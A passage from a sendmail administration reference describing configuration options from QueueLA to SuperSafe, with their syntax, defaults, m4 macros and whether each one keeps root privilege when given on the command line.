The QueueFactor (q) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.50 QueueLA (x)

On high load, queue only

(All versions)

The QueueLA (x) option specifies the load above which sendmail queues messages rather than delivering them. The QueueLA (x) and QueueFactor (q) options interact to determine this cutoff; they are both covered under the QueueFactor (q) option (Section 34.8.49).

The forms of the QueueLA (x) option are as follows:

Oxload                          <-  configuration file (old form)
-oxload                         <-  command line (old form)
O QueueLA=load                  <-  configuration file (beginning with V8.7)
-OQueueLA=load                  <-  command line (beginning with V8.7)
define(`confQUEUE_LA',load)     <-  V8 m4 configuration

The optional argument load, of type numeric, defaults to zero if it is missing. If the entire QueueLA (x) option is missing, the default value given to load is eight. The default for the m4 technique is to omit this option. On newer, faster machines a higher setting may be more appropriate.

This QueueLA (x) option is effective only if your sendmail binary was compiled with load-average support (see Section 18.8.14). You can use the -d3.1 debugging switch (Section 37.5.14) to discover whether your binary includes the necessary support.

The QueueLA (x) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.51 QueueSortOrder

How to pre-sort the queue

(V8.7 and above)

Prior to V8.7 sendmail, mail messages in the queue were sorted by priority when the queue was processed. Under V8.7 an enhanced sort can be implemented with the QueueSortOrder option:

O QueueSortOrder=how                    <-  configuration file (beginning with V8.7)
-OQueueSortOrder=how                    <-  command line (beginning with V8.7)
define(`confQUEUE_SORT_ORDER',how)      <-  V8 m4 configuration

The argument how is of type character. [25] It can be a P or p (for priority), which causes sendmail to emulate its old (sort by priority) behavior. It can be an H or h (for host), which causes sendmail to perform a new enhanced sort. Beginning with V8.8 sendmail, it can be T or t (for time), which sorts by submission time. If any other character is specified or if how is omitted, the following message is printed and the option is skipped:

[25] Of course, we recommend using full words for clarity.

Invalid queue sort order "badchar"

If this option is entirely omitted, the default is to sort by priority. The default in configuring with the V8 m4 technique is also priority.

The QueueSortOrder option is safe. If specified from the command line, sendmail will not relinquish its root privilege.

34.8.51.1 QueueSortOrder=host

If what is host, the messages in the queue are first sorted by recipient host, lock status, and priority. If any message for a host is locked (currently being delivered) all the messages for that host are also marked as locked. Then the queue is sorted again, this time by lock status (unlocked first), recipient host, and priority. Delivery attempts after this sort tend to group SMTP connections to the same host together sequentially.

Be careful in sorting by host. If you have a large backlog of low-priority (batch) mail on a low-speed link to some host (for example news), you might end up delaying higher-priority mail intended for other hosts. The host sort is recommended for high-speed links but is less desirable on low-speed links.

34.8.51.2 QueueSortOrder=priority

The method to order a queue run that has been used by sendmail for many years is a simple sort of the message priorities. A message's priority is found in the qf file's P line (see Section 23.9.11, P line). The sort is one of cost. That is, low (less positive) priorities are sorted ahead of high (more positive) values.

34.8.51.3 QueueSortOrder=time (V8.8 and above)

Beginning with V8.8, sendmail recognizes the time keyword, which causes it to sort based on submission time. This setting is not intended for use in the configuration file. Instead, it should be used only from the command line and in combination with the -qR command-line switch (see Section 23.6.2.3, "Process by identifier/recipient/sender: -q[ISR]").

If you wrongly set time in the configuration file, large jobs and old jobs will be sorted in with small and new jobs. This can delay important mail. Also note that there is no guarantee that mail will be delivered in submission order unless the DeliveryMode option (see Section 34.8.16) is set to queue or defer.

34.8.52 QueueTimeout (T)

Limit life of a message in the queue

(deprecated

When mail cannot be delivered promptly, it is left in the queue. At intervals specified by sendmail's -q command-line switch, redelivery of that queued mail is attempted. The maximum time a mail message can remain in the queue before being bounced as undeliverable is defined by the T option. (Note that the QueueTimeout (T) option has been deprecated in favor of the Timeout option of V8.7 sendmail.)

The forms of the QueueTimeout (T) option are as follows:

OTqtime                                 <-  configuration file (old form)
-oTqtime                                <-  command line (old form)
O QueueTimeout=qtime                    <-  configuration file (deprecated)
define(`confMESSAGE_TIMEOUT',qtime)     <-  V8 m4 configuration

The argument qtime is of type time. If this argument is missing or if the entire QueueTimeout (T) option is missing, the value given to qtime is zero, and no mail is ever queued. [26] The qtime is generally specified as a number of days, 5d for example. (Incidentally, RFC1123 recommends five days as a minimum.)

[26] That is, each message is instantly bounced if it cannot be delivered on the first try.

All queued mail is timed out on the basis of its creation time compared to the timeout period specified by the QueueTimeout (T) option. Each queued message has its creation time stored in its qf file's T line (see Section 23.9.15, T line). When sendmail is run (either as a daemon or by hand) to process the queue, it gets its timeout period from the value of the QueueTimeout (T) option. As the queue is processed, each message's creation time is checked to see whether it has timed out on the basis of the current value of the QueueTimeout (T) option. Since the configuration file is read only once (when sendmail first starts), the timeout period cannot be subsequently changed. There are only two ways to lengthen the timeout period: first, by modifying the configuration file's QueueTimeout (T) option (which prior to V8 could involve creating a freeze file) and killing and restarting sendmail; second, by running sendmail by hand with the -q command-line switch (see Section 23.6.1) and setting a new timeout using the -oTtimeout command-line switch.

Since the creation time is stored in a queued file's qf file, messages can theoretically be rejuvenated (made to appear young again) by simply modifying that entry. The details of the qf queue file are presented in Section 23.9, "The qf File Internals".

Under V8 sendmail the sender can be notified when a message is delayed. This feature is enabled by the inclusion of a second argument following the qtime argument in the QueueTimeout (T) option declaration:

OTqtime/notify                       <-  configuration file (V8.6)
-oTqtime/notify                      <-  command line (V8.6)
O QueueTimeout=qtime/notify          <-  configuration file (V8.7; deprecated)

If the second argument is present, it must be separated from the first by a /. The notify specifies the amount of time sendmail should wait, after the message is first queued, before sending notification to the sender that it was delayed. If notify is missing or longer than qtime, no warning messages are sent. If notify is longer than qtime, no notification is ever sent.

Note that this is a crude method compared to the one described under the Timeout option in Section 34.8.70. Beginning with V8.7 sendmail and using the queuereturn and queuewarn keywords of that option, the qtime and notify values above can be tuned on the basis of individual mail message priorities.

The QueueTimeout (T) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.53 RecipientFactor (y)

Penalize large recipient lists

(All versions)

Not all messages need to be treated equally. When sendmail processes the messages in its queue, it sorts them by priority. [27] The priority that is given to a message is calculated once, when it is first created, and adjusted (incremented or decremented) each time it is processed in the queue. Mail with the lowest priority number is handled first. The formula for the initial calculation is

[27] See the QueueSortOrder option, Section 34.8.51, for alternative ways to sort.

priority = nbytes - (class * z) + (recipients * y)

The items in this calculation are as follows:

priority

Priority of the message when it was first created.

nbytes

Number of bytes in the total message, including the header and body of the message.

class

Value given to a message by the Precedence: line in the header of the message. The string following the Precedence: is usually either first-class, special-delivery, junk, bulk, or list. That string is converted to a numeric value determined by the P command (see Section 35.8) in the sendmail.cf file.

z

Value given the ClassFactor (z) option (see Section 34.8.8) and a weighting factor to adjust the relative importance of the class.

recipients

Number of recipients to whom the message is addressed. This number is counted after all alias expansion.

y

Value given this RecipientFactor (y) option and weighting factor to adjust the relative importance of the number of recipients.

The forms of the RecipientFactor (y) option are as follows:

Oyfactor                                       <-  configuration file (old form)
-oyfactor                                      <-  command line (old form)
O RecipientFactor=factor                       <-  configuration file (beginning with V8.7)
-ORecipientFactor=factor                       <-  command line (beginning with V8.7)
define(`confWORK_RECIPIENT_FACTOR',factor)     <-  V8 m4 configuration

The argument factor is of type numeric. If that argument is missing, the default value is zero. If the entire RecipientFactor (y) option is missing, the default value is 30000 (thirty thousand). The default for the m4 technique is to omit this option.

The RecipientFactor (y) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.54 RefuseLA (X)

Refuse connections on high load

(All versions)

When the load average on a machine (the average number of jobs in the run queue over the last minute) becomes too high, sendmail can compensate by refusing to accept SMTP connections. Some experts consider this a more serious problem than the queuing caused by the QueueLA (x) option (see Section 34.8.50), so prior to the introduction of V8.7 sendmail, they generally recommended that the load specified for this RefuseLA (X) option should be higher. [28] Under V8.7 the two options have been decoupled, and you can now tune them according to your personal philosophy.

[28] Others take the opposite stand. Paul Vixie, for one, believes that the RefuseLA option should be lower than the QueueLA option so that you stop accepting mail before you stop processing it.

The forms of the RefuseLA (X) option are as follows:

OXload                           <-  configuration file (old form)
-oXload                          <-  command line (old form)
O RefuseLA=load                  <-  configuration file (beginning with V8.7)
-ORefuseLA=load                  <-  command line (beginning with V8.7)
define(`confREFUSE_LA',load)     <-  V8 m4 configuration

The argument load is of type numeric. If load is missing, the value becomes zero, causing all SMTP connections to be refused. If the entire RefuseLA (X) option is missing, the value for the load cutoff defaults to 12. The default for the m4 technique is to omit this option.

This RefuseLA (X) option is effective only if your sendmail binary was compiled with load-average support included (see Section 18.8.14). You can use the -d3.1 debugging switch (see Section 37.5.14) to discover whether your binary includes the necessary support.

The RefuseLA (X) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.55 ResolverOptions (I)

Tune DNS lookups

(All versions)

The ResolverOptions (I) allows you to tune the way DNS lookups are performed:

OIbool                                <-  configuration file (old form)
-oIbool                               <-  command line (old form)
-oI"arg ..."                          <-  command line (V8.6)
OIarg ...                             <-  configuration file (V8.6)
O ResolverOptions="arg ..."           <-  configuration file (V8.7)
-OResolverOptions="arg ..."           <-  command line (V8.7)
define(`confBIND_OPTS',`arg ...')     <-  V8 m4 configuration

The arg is one or more arguments that allow you to tune the behavior of the name server. The arg arguments are identical to the flags listed in resolver(3), but you omit the RES_ prefix. For example, RES_DNSRCH is expressed DNSRCH. A flag may be preceded by a plus or a minus to enable or disable the corresponding name server option. If no pluses or minuses appear, the name server option is enabled just as though a plus was present. Consider the following:

OI+AAONLY -DNSRCH
O ResolverOptions=+AAONLY -DNSRCH

These turn on the AAONLY name server option (Authoritative Answers Only) and turn off the DNSRCH name server option (search the domain path). If the ResolverOptions (I) option is entirely omitted, the default is for the DNSRCH, DEFNAMES, and RECURSE name server options to be enabled and all others to be disabled. Thus, for example, DNSRCH is always enabled unless you specifically turn it off.

Beginning with V8.7 sendmail, the special string HasWildcardMX can be listed along with the other resolver options:

O ResolverOptions=+AAONLY -DNSRCH HasWildcardMX

This string causes MX lookups to be done with RES_QUERY set (provided that the level of the configuration is 6 or above; see Section 27.5); otherwise, those lookups are done with RES_SEARCH. It also inhibits MX lookups when getting the canonical name of the local host. It should always be used if you have a wildcard MX record that matches your local domain.

Note that omitting the ResolverOptions (I) option does not disable DNS lookups. To disable DNS under V8.6 sendmail, you must compile a version of sendmail with NAMED_BIND support omitted (see Section 18.8.23). Beginning with V8.7 sendmail, you can disable use of DNS via your service-switch file (see Section 34.8.61).

Under V8 sendmail, any Boolean argument following the ResolverOptions (I) is silently ignored. Therefore an initial True may be included for compatibility with previous versions of sendmail. Note that under V8 sendmail, a False produces an error and cannot be used to disable this option.

OITrue

Version 1 configuration files (see Section 27.5) cause sendmail to disable DNSRCH and DEFNAMES when doing delivery lookups but leave them on at all other times. Version 2 and above configuration files cause sendmail to use the resolver options defined by the ResolverOptions (I) option, except that it always enables DNSRCH when doing lookups with the $[ and $] operators. Starting with Version 8, sendmail defers the decision of whether or not to use DNS lookups to the ServiceSwitchFile option (see Section 34.8.61). DNS is now only considered canonical if the dns service is listed for hosts in the ServiceSwitchFile.

Finally, note that an attempt to use this option with a version of sendmail that does not support DNS lookups (see Section 18.8.23) will result in this error message:

name server (I option) specified but BIND not compiled in

The ResolverOptions (I) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.56 RetryFactor (Z)

Increment per job priority

(All versions)

When sendmail processes the messages in its queue, it sorts them by priority and handles those with the lowest (least positive) priority first.

The priority of a message is calculated once, using the RecipientFactor (y) (see Section 34.8.53) and ClassFactor (z) (see Section 34.8.8) options, when the message is first created, and it is adjusted, using this RetryFactor (Z) option, each time the message is processed in the queue.

Each time a message from the queue fails to be delivered and needs to be requeued, its priority is adjusted. That adjustment is made by adding the value of this RetryFactor (Z) option.

The forms of the RetryFactor (Z) option are as follows:

OZinc                                  <-  configuration file (old form)
-oZinc                                 <-  command line (old form)
O RetryFactor=inc                      <-  configuration file (beginning with V8.7)

-ORetryFactor=inc                      <-  command line (beginning with V8.7)
define(`confWORK_TIME_FACTOR',inc)     <-  V8 m4 configuration

The argument inc is of type numeric. If inc is missing, the default value is zero. If the entire RetryFactor (Z) option is missing, the value for inc defaults to 90000 (ninety thousand). The default for the m4 technique is to omit this option. The increment is performed by adding the value of inc to the previously stored message priority each time that message is queued.

The RetryFactor (Z) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.57 RunAsUser

Run as non-root (on a firewall)

(V8.8 and above)

On firewalls, for reasons of additional security, it is often desirable to run sendmail as a user other than root. Beginning with V8.8 sendmail, you can accomplish this by using the RunAsUser option:

O RunAsUser=user:group                         <-  V8.8 and above
-ORunAsUser=user:group                         <-  V8.8 and above
define(`confRUN_AS_USER', `user:group')         <-  V8 m4 technique

Here, user is either the uid number of the identity you want sendmail to run under or a symbolic name for that identity. If a symbolic name is specified and if that name cannot be looked up in the passwd(5) file, sendmail prints the following error:

readcf: option RunAsUser: unknown user bad symbolic name here

If the symbolic name is found in the passwd(5) file, the uid and gid that sendmail will run under are set from that file.

The :, if it is present, [29] signals to sendmail that you also intend to specify a group identity.

[29] It can also be a . or a / character.

The group is either the numeric gid that you want sendmail to run as or a symbolic name for a group. If it is a symbolic name, that name is looked up in the group(5) file. If it is not found in that file, the following error is printed:

readcf: option RunAsUser: unknown group bad group name here

If the symbolic name is in that file, sendmail will run under the gid found there.

The sendmail program assumes the identity specified just after the configuration file is read for all but the daemon mode. As a daemon, sendmail remains root to listen for incoming SMTP connections. Each time it receives a connection, it validates that connection (see Section 22.4.1, "Accept/Reject Connections via libwrap.a" and Section 29.10.3, "The check_relay Rule Set"), then fork(2)'s. The child then processes the incoming message. Immediately after the fork, the child assumes the identity specified by this RunAsUser option.

Note that running as non-root can lead to problems, especially on machines that do more than simply relay mail between networks. As non-root, sendmail may not be able to read some :include: files, will certainly not be able to read protected ~/.forward files, and won't be able to save messages to the queue, all unless permissions are relaxed to allow the non-root user such access. This option is intended to be used on a firewall machine. It should definitely not be used on nonfirewall machines.

The RunAsUser option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.58 SafeFileEnvironment

Directory for safe file writes

(V8.7 and above)

For security it is desirable to control the manner and circumstances under which messages are delivered to files. Beginning with V8.7 sendmail you can enhance the security of writing to files with the SafeFileEnvironment option. It is used like this:

O SafeFileEnvironment=path                <-  configuration file (beginning with V8.7)
-OSafeFileEnvironment=path                <-  command line (beginning with V8.7)
define(`confSAFE_FILE_ENV',path)          <-  m4 configuration (beginning with V8.7)

The path is of type string and, if present, must be the full path name of a directory. The default, if either path or the entire option is missing, is NULL, causing this feature to be ignored.

When preparing to save a message to a file, sendmail first obtains the permissions of that file, if the file exists, and saves them (see Section 24.2.2, "Delivery to Files"). The sendmail program uses lstat(2) to obtain those permissions if it was compiled with HASLSTAT defined (see Section 18.8.9, HAS...). Otherwise, it uses stat(2).

Ordinarily, sendmail does a chroot(2) to the / directory just before it opens the file for writing. If the path is non-NULL and nonempty, sendmail then precedes that chroot(2) with a:

chroot(path)

If the chroot(2) fails, sendmail prints the following error and bounces the mail message:

mailfile: Cannot chroot(path)

If the name of the file begins with path, that prefix is stripped after the chroot(2) and before the fopen(3).

For example, consider the need to safely store all mail archive files on the mail hub in a directory called /archives. You would first create this configuration declaration:

O SafeFileEnvironment=/archives

Then every file archive notation in the aliases database should be changed to reference this base directory: [30]

[30] This is not strictly necessary. Both /archives/admin/log and /admin/log will work equally well. The former, however, is preferred for clarity.

adminlist:   :include:/usr/local/maillists/admin.list,
             /archives/admin/log

For safety, sendmail will henceforth chroot(2) into the /archives directory before delivering to any files. Note that this SafeFileEnvironment option affects all writes to files, so a user's ~/.forward entry (such as the following) will become relative to /archives and so may fail depending on your specific setup:

/u/bill/tmp/incoming       <-  written as /archives/u/bill/tmp/incoming

The SafeFileEnvironment option also causes sendmail to verify that the file that is being written to is a plain file. If it is anything else, sendmail prints the following error and bounces the messages:

/dev/tty... Can't create output: Error 0

Here, an attempt to dump the message to /dev/tty failed because sendmail discovered it was a device rather than an ordinary file. But note that beginning with V8.8, it is legal to write to the special device named /dev/null.

The SafeFileEnvironment option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.59 SaveFromLine (f)

Save UNIX-style From lines

(All versions)

Many UNIX MUAs, as well as some transmittal systems like UUCP, require that a mail-message header begin with a line that begins with the five-character sequence "From ". All other header lines must adhere to the RFC822 standard and be delimited with a colon:

From jqp@Washington.DC.gov Fri Jul 26 12:35:25 1991
Return-Path: <jqp@Washington.DC.gov>
Date: Fri, 26 Jul 91 12:35:15 PDT
From: jqp@Washington.DC.gov (John Q Public)

If you don't set the SaveFromLine (f) option, the first line in the above example is stripped out by sendmail. The SaveFromLine (f) option prevents this, because it tells sendmail to keep header lines that begin with the five characters "From ". But note that it also causes this header to no longer be recognized as a header.

The forms of the SaveFromLine (f) option are as follows:

Ofbool                                 <-  configuration file (old form)
-ofbool                                <-  command line (old form)
-s                                     <-  command-line shorthand (not recommended)
O SaveFromLine=bool                    <-  configuration file (beginning with V8.7)
-OSaveFromLine=bool                    <-  command line (beginning with V8.7)
define(`confSAVE_FROM_LINES',bool)     <-  V8 m4 configuration

The optional argument bool is of type Boolean. If bool is missing, this option becomes true (the "From " line is saved). If the entire option is missing, it defaults to false (neither save the "From " line nor recognize it as a header).

The SaveFromLine (f) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.60 SendMimeErrors (j)

Return MIME format errors

(V6.57 and above)

MIME (Multipurpose Internet Mail Extensions) is documented in RFC1341, with addition details in RFC1344, RFC1426, RFC1428, RFC1437, RFC1521, RFC1522, RFC1523, RFC1556, RFC1563, RFC1641, RFC1740, RFC1741, and RFC1767. MIME is a method of incorporating non-ASCII text (such as images and sounds) in mail messages.

When sendmail composes an error notification of failed (bounced) mail, this SendMimeErrors (j) option tells sendmail to include MIME format headers in that error notification. MIME format is required for DSN notification to work (the two go hand in hand). This option affects only returned (bounced) mail.

If the SendMimeErrors (j) option is true and if sendmail is composing a returned mail message, the following two headers are added to the header portion of that message:

MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
        boundary=magic

The version (1.0) of the MIME-Version: header (see Section 35.10.21) is hard-coded into V8 sendmail, so it cannot be changed. The Content-Type: is instead multipart/mixed if sendmail was compiled without DSN support (see Section 18.8.5, DSN). The magic of Content-Type: is a string that is used to separate the various parts of the message body. The string is formed from the queue ID, the time, and the hostname. For example:

Content-Type: multipart/report; report-type=delivery-status;
        boundary=AA26662.9306241634/hostname

Then sendmail prefixes the body of the returned message (if there is one), a line of notification, and this boundary:

This is a MIME-encapsulated message

-AA26662.9306241634/hostname
             <-  message body begins here

Newer MUAs are aware of MIME and can send and receive MIME messages. Such MUAs understand MIME-Version: header in a mail message. Older (non-MIME aware) MUAs ignore that header.

Unless you bounce mail to a site that cannot handle MIME, you should always set this SendMimeErrors (j) option to true.

The forms of the SendMimeErrors (j) option are as follows:

Ojbool                                    <-  configuration file (V8.6)
-ojbool                                   <-  command line (V8.6)
O SendMimeErrors=bool                     <-  configuration file (V8.7)
-OSendMimeErrors=bool                     <-  command line (V8.7)
define(`confMIME_FORMAT_ERRORS',bool)     <-  V8 m4 configuration

The optional argument bool is of type Boolean. If bool is missing, this option becomes true (errors are sent in MIME format). If the entire option is missing it defaults to false (errors are sent just as they were before this option was introduced).

The SendMimeErrors (j) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.61 ServiceSwitchFile

Specify file for switched services

(V8.7 and above)

Some implementations of UNIX recognize that system information can be found in a variety of places. On Solaris, for example, hostnames can be obtained from the /etc/hosts file, from nis, from nisplus, or from DNS. Solaris allows the system administrator to choose the order in which these services are searched with a "service-switch" file. Other systems, such as Ultrix and DEC OSF/1, have a similar concept, but some (such as SunOS) use built-in rules that cannot be changed without the source code.

V8.7 sendmail uses a system-service switch if one is available. Otherwise, sendmail uses the service switch defined by this ServiceSwitchFile option.

The form for redefining the switched-services file is as follows:

O ServiceSwitchFile=path                   <-  configuration file (beginning with V8.7)
-OServiceSwitchFile=path                   <-  command line (beginning with V8.7)
define(`confSERVICE_SWITCH_FILE',path)     <-  V8 m4 configuration

If this option is defined on an operating system that does offer a service-switch (such as Solaris, DEC OSF/1 or Ultrix), it is ignored. Otherwise, path is used as the full pathname of the file that is to be used as the service-switch. If path is omitted, the default is NULL. If the entire option is omitted, the default is /etc/service.switch. The default for the m4 technique is to omit this option.

The form of each line in that file is

service  how how

Here, service is either hosts (which states how host names are looked up) aliases (which states how aliases are looked up), or passwd (which states how passwd(5) information is looked up). For each of these services, there may be one or more how methods (not all of which make sense with all services). The service and the hows must be separated from each other by whitespace. The possible methods (values for each how) are files (the information is in a file or database, such as /etc/hosts), netinfo (for information on NeXT machines), nis (the information is in an nis map), nisplus (the information is in an nisplus map), dns (the host information is looked up with DNS), or hesiod (the information is listed with a Hesiod service). [31]

[31] Currently, the list is limited to those shown. Future versions of sendmail may offer others.

For example, consider the contents of the following /etc/service.switch file:

aliases nis
passwd nis files
hosts dns

Here, sendmail will look up aliases in the nis map mail.aliases. Password information, such as local user login names and full name information from the gecos field, will first be looked up in the nis map passwd.byname. If not found there, they will then be looked up in the file /etc/passwd. The last line tells sendmail to look up A and MX records for hosts using the DNS services.

The hosts line can also determine how MX records are treated (see Section 21.2.3, "Look Up Addresses for Delivery"). If "dns" does not appear in that line, sendmail disables lookups of MX records. If sendmail is configured to look up hosts with nis first, then DNS, it will do the MX lookup in DNS before the nis lookup.

For Solaris, hosts is looked up with the nsswitch.conf(4) service. For DEC OSF/1 and Ultrix, hosts is looked up with the svc.conf(5) service. For all others the file defined by the ServiceSwitchFile is examined for a line that begins with the word hosts. If that line is missing or if the file doesn't exist, "dns" is returned by default. But if NAMED_BIND was not defined (see Section 18.8.23) when sendmail was compiled, the default returned is "nis" for Solaris and SunOS, and on other systems it is "files."

Note that on systems such as SunOS, a version of gethostbyname(3) is still called that ignores the sendmail programs service-switch file. On such systems you may need to download the source, recompile, and install a version that works correctly.

The ServiceSwitchFile option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.62 SevenBitInput (7)

Force 7-bit input

(V8.1 and above)

By default, V8 sendmail leaves as is all bytes of every mail message it reads. This differs from other releases of sendmail that always clear (zero) the high (most-significant) bit. To make V8 sendmail behave like older versions and always clear the high bit on input, the SevenBitInput (7) option is available:

O7bool                                 <-  configuration file (V8.6)
-o7bool                                <-  command line (V8.6)
O SevenBitInput=bool                   <-  configuration file (V8.7 and above)
-OSevenBitInput=bool                   <-  command line (V8.7 and above)
define(`confSEVEN_BIT_INPUT',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If bool is missing, the default value is true (clear the 8th bit). If this option is omitted entirely, the default is false (the 8th bit is unmodified). If you configure with V8's m4 technique, the default for confSEVEN_BIT_INPUT is false.

Note that this option is temporarily set to false for a single message if the ESMTP BODY=8BITMIME parameter is given and is set to true if the BODY=7BIT parameter is given.

Also note that the SevenBitInput (7) option affects input only. The F=7 delivery agent flag (see Section 30.8.4) can be used to set 7-bit output on an individual delivery agent basis.

The SevenBitInput (7) option is safe. If specified from the command line, sendmail will not relinquish its root privilege.

34.8.63 SingleLineFromHeader

Strip newlines from From: headers

(V8.8 and above)

Lotus Notes' SMTP mail gateway can generate From: headers that contain newlines and that contain the address on the second line:

From: Full Name
        <address>

Although this is legal per RFC822, many MUAs mishandle such headers and are unable to find the address. If your site suffers from this problem, you may define the SingleLineFromHeader option:

O SingleLineFromHeader=bool                    <-  configuration file (V8.8)
-OSingleLineFromHeader=bool                    <-  command line (V8.8)

The bool is of type Boolean. If it is true, sendmail will convert all newlines found in a From: header into space characters. If it is false, sendmail will leave all From: headers as is.

The SingleLineFromHeader option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.64 SingleThreadDelivery

Set single threaded delivery

(V8.8 and above)

Ordinarily, when sendmail processes the queue, it pays relatively little attention to other sendmail processes that may be processing the same queue at the same time. It locks a single qf file during delivery so that no other sendmail will attempt delivery of that message at the same time, but that is all. In sending many messages to a single other host, it is possible for multiple, parallel sendmail processes to try to deliver different messages from that queue to that single host all at once.

When accidental parallelism is not desirable, as in just processing the queue, you may wish to set up sendmail to be single-threaded. This ensures that only a single sendmail will ever be delivering to a given host at a given time. Single-threaded delivery is enabled with the SingleThreadDelivery option:

O SingleThreadDelivery=bool                         <-  V8.8 and above
-OSingleThreadDelivery=bool                         <-  V8.8 and above
define(`confSINGLE_THREAD_DELIVERY',bool)           <-  V8 m4 technique

The argument bool is of type Boolean. If it is missing, the default value is true (deliver single-threaded). If the entire SingleThreadDelivery option is missing, the default becomes false (deliver in parallel). There is no m4 shorthand for enabling this option.

Note that the SingleThreadDelivery option will work only if the HostStatusDirectory option is also declared (see Section 34.8.31). If it is not, sendmail will print the following error and reset the SingleThreadDelivery option to false:

Warning: HostStatusDirectory required for SingleThreadDelivery

Also note that the SingleThreadDelivery option should probably never be set in the configuration file. To see why, consider an ongoing queue run to a host that is receiving many messages. If interactive user mail arrives during that run, the sendmail process executed by the user's MUA may find that it cannot send the message because it is single-threaded and the other sendmail has that host locked. In that case the user's message will be queued and will wait in the queue until the next queue is run. Even if your site is on the Internet, one large message to a slow site can cause interactive mail for that site to be wrongly queued.

The appropriate use for the SingleThreadDelivery option is on the command line when processing the queue. In daemon mode, for example, these startup commands may be appropriate:

/usr/lib/sendmail -bd
/usr/lib/sendmail -OSingleThreadDelivery -q30m

Note that two sendmail programs are started: one to act as a daemon and the other to periodically process the queue. Don't combine them when using the SingleThreadDelivery option, because incoming (relayed) mail can wrongly affect outgoing mail.

The SingleThreadDelivery option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.65 SmtpGreetingMessage or $e

The SMTP greeting message

(All versions)

When sendmail accepts an incoming SMTP connection it sends a greeting message to the other host. This message identifies the local machine and is the first thing it sends to say it is ready.

Prior to V8.7 sendmail, this message was declared with the $e macro. Beginning with V8.7 sendmail, it is declared with the SmtpGreetingMessage option. In both cases the message must begin with the fully qualified name of the local host. Usually, that name is stored in $j. The minimal definition for both is

De$j                             <-  V8.6 and earlier
O SmtpGreetingMessage=$j         <-  beginning with V8.7

Additional information may follow the local hostname. Any additional information must be separated from the hostname by at least one space:

De$j additional information

    at least one space

Traditionally, that additional information is the name of the listening program (in our case, always sendmail), the version of that program, and a statement that the program is ready. For example:

De$j Sendmail $v ready at $b                        <-  V8.6 and earlier
O SmtpGreetingMessage=$j Sendmail $v ready at $b    <-  beginning with V8.7

Note that it is not uncommon to see imaginative (and legal) variations in the additional information:

De$j Sun's sendmail.mx is set to go (at $b), let 'er rip!

Under versions V8.6 and earlier there was no default for this greeting message. You had to define $e in every configuration file. Beginning with V8.7, sendmail now checks to see whether the SmtpGreetingMessage option was defined and uses that value if it was. Otherwise, it checks to see whether the level of the configuration file is 6 or less. If it is and if the $e macro was defined it uses that value. Otherwise, it uses the following default:

$j Sendmail $v ready at $b

The forms for the $e and SmtpGreetingMessage are as follows:

Demessage                                        <-  V8.6 and earlier
O SmtpGreetingMessage=message                    <-  configuration file (beginning with V8.7)
-OSmtpGreetingMessage=message                    <-  command line (beginning with V8.7)
define(`confSMTP_LOGIN_MSG',message)             <-  V8 m4 technique

The message is of type string and must be present. It must contain, at minimum, the fully qualified name of the local host.

Note that in V8.1 through V8.6, sendmail always added the extra line

ESMTP spoken here

to its initial greeting message. Beginning with V8.7, sendmail instead inserts the word "ESMTP" into the greeting message itself just after the fully qualified hostname.

The SmtpGreetingMessage option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.66 StatusFile (S)

Specify statistics file

(All versions)

At busy and complex mail sites, many different delivery agents are active. For example, one kind of mail might be routed over the Internet using the TCP delivery agent, while another might be routed via the UUCP suite of programs, and yet another might be routed over a DS3 link to a group of research machines. In such circumstances, it is useful to gather statistical information about the total use to date of each delivery agent.

The StatusFile (S) option tells sendmail the name of the file into which it should save those statistics. This option does not cause statistics to be gathered. It merely specifies the name of the file where they may be saved. When sendmail runs, it checks for the existence of such a file. If the file exists, it opens and updates the statistics in the file. If the file doesn't exist, sendmail quietly ignores statistics. The statistics can be viewed by using the mailstats(8) [32] program (see Section 26.2.1, "The sendmail.st File").

[32] If you install V8 sendmail over an existing sendmail installation, you need to also install the V8 mailstats program.

The forms of the StatusFile (S) option are as follows:

OSpath                           <-  configuration file (old form)
-oSpath                          <-  command line (old form)
O StatusFile=path                <-  configuration file (beginning with V8.7)
-OStatusFile=path                <-  command line (beginning with V8.7)
define(`STATUS_FILE',`path')     <-  V8 m4 configuration

The optional argument path is of type string. It may be a relative or a full pathname. The default value for path is sendmail.st. Relative names are always relative to the queue directory. If the entire option is missing, the value for path becomes the C language value NULL. The default in configuring with the V8 m4 technique varies depending on your operating system.

The S option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.67 SuperSafe (s)

Queue everything just in case

(All versions)

At times, such as when calling /bin/mail to deliver local mail, sendmail holds an entire message internally while waiting for that delivery to complete. Clearly, this runs the risk that the message will be lost if the system crashes at the wrong time.

As a safeguard against such rare catastrophes, the SuperSafe (s) option can be used to force sendmail to queue every message. The queued copy is left in place until sendmail is sure that delivery was successful. We recommend that this option always be declared as true.

The forms of the SuperSafe (s) option are as follows:

Osbool                            <-  configuration file (old form)
-osbool                           <-  command line (old form)
O SuperSafe=bool                  <-  configuration file (beginning with V8.7)
-OSuperSafe=bool                  <-  command line (beginning with V8.7)
define(`confSAFE_QUEUE',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If it is missing, the default value is true (everything is queued). The default for the V8 m4 configuration technique is also true. If the entire SuperSafe (s) option is missing, the default becomes false (no special queuing behavior).

The SuperSafe (s) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.68 TempFileMode (F)

Permissions for temporary files

(All versions)

